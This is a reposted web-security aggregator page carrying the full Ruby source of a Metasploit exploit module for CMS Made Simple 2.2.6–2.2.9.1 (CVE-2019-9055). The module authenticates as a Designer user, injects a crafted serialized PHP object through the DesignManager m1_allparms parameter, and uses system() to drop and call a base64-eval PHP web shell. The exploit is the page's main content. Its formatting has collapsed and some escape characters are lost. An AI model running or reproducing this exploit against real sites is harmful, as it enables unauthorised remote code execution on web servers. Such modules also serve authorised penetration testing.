HackDig : Dig high-quality web security articles for hackers

«No Previous
No Next

CMS Made Simple 2.2.8 Remote Code Execution

2019-11-18 11:40
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  def initialize(info = {})    super(update_info(info,      'Name' => 'CMS Made Simple Authenticated RCE via object injection',      'Description' => %q(        An issue was discovered in CMS Made Simple 2.2.8.        In the module DesignManager (in the files action.admin_bulk_css.php        and action.admin_bulk_template.php), with an unprivileged user        with Designer permission, it is possible to reach an unserialize        call with a crafted value in the m1_allparms parameter,        and achieve object injection.        This module has been successfully tested on CMS Made Simple versions        2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.      ),      'Author' => [        'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn      ],      'License' => MSF_LICENSE,      'References' => [        ['CVE', '2019-9055'],        ['CWE', '74'],        ['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],        ['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']      ],      'Privileged' => false,      'Platform' => ['php'],      'Arch' => [ARCH_PHP],      'Targets' => [['Automatic', {}]],      'DefaultTarget' => 0,      'DisclosureDate' => 'Mar 26 2019'))    register_options(      [        OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])      ]    )    register_advanced_options([      OptBool.new('ForceExploit', [false, 'Override check result', false])    ])  end  def multipart_form_data(uri, data, message)    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', uri),      'method' => 'POST',      'data' => data,      'ctype' => "multipart/form-data; boundary=#{message.bound}",      'cookie' => @cookies    )  end  def post(uri, data)    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', uri),      'method' => 'POST',      'vars_post' => data,      'cookie' => @cookies    )  end  def get(path, filename)    send_request_cgi(      'uri' => normalize_uri(target_uri.path, path, filename),      'method' => 'GET'    )  end  def check    res = get('', 'index.php')    unless res      vprint_error 'Connection failed'      return CheckCode::Unknown    end    unless res.body.match?(/CMS Made Simple/i)      return CheckCode::Safe    end    version = Gem::Version.new(res.body.scan(/CMS Made Simple</a> version (d+.d+.d+)/).flatten.first)    vprint_status("#{peer} - CMS Made Simple Version: #{version}")    if version <= Gem::Version.new('2.2.9.1')      return CheckCode::Appears    end    return CheckCode::Safe  end  def login    data = {      'username' => datastore['USERNAME'],      'password' => datastore['PASSWORD'],      'loginsubmit' => 'Submit'    }    res = post('login.php', data)    unless res      fail_with(Failure::Unreachable,        'A response was not received from the remote host')    end    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{/admin?(.*)?=(.*)}      fail_with(Failure::NoAccess, 'Authentication was unsuccessful')    end    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])    vprint_good("#{peer} - Authentication successful")    @csrf_name = Regexp.last_match(1)    csrf_val = Regexp.last_match(2)    @csrf = { @csrf_name => csrf_val }    @cookies = res.get_cookies  end  def send_injection    # prepare shell command    shell_name = rand_text_alpha(8..12) + '.php'    cmd = Rex::Text.encode_base64(payload.encoded).delete('n', '')    cmd = "echo "<?php eval(base64_decode('#{cmd}')); ?>" > #{shell_name}"    # prepare serialized object    final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'    final_payload += "x00" + 'dm_xml_reader' + "x00"    final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'    final_payload += "x00" + 'CmsLayoutTemplateType' + "x00"    final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'    final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'    # create message with payload    message = Rex::MIME::Message.new    message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name="#{@csrf_name}"")    message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')    message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')    data = message.to_s    # send payload    payload_res = multipart_form_data('moduleinterface.php', data, message)    fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res    register_files_for_cleanup(shell_name)    # open shell    res = get('admin', shell_name)    if res && res.code == 404      print_error "Shell #{shell_name} not found"    end  end  def exploit    unless [CheckCode::Detected, CheckCode::Appears].include?(check)      unless datastore['ForceExploit']        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'      end      print_warning 'Target does not appear to be vulnerable'    end    login    send_injection  endend


Source: 9110119102-BLW/eussi/moc.ytirucesxc

Read:1176 | Comments:0 | Tags:No Tag

“CMS Made Simple 2.2.8 Remote Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools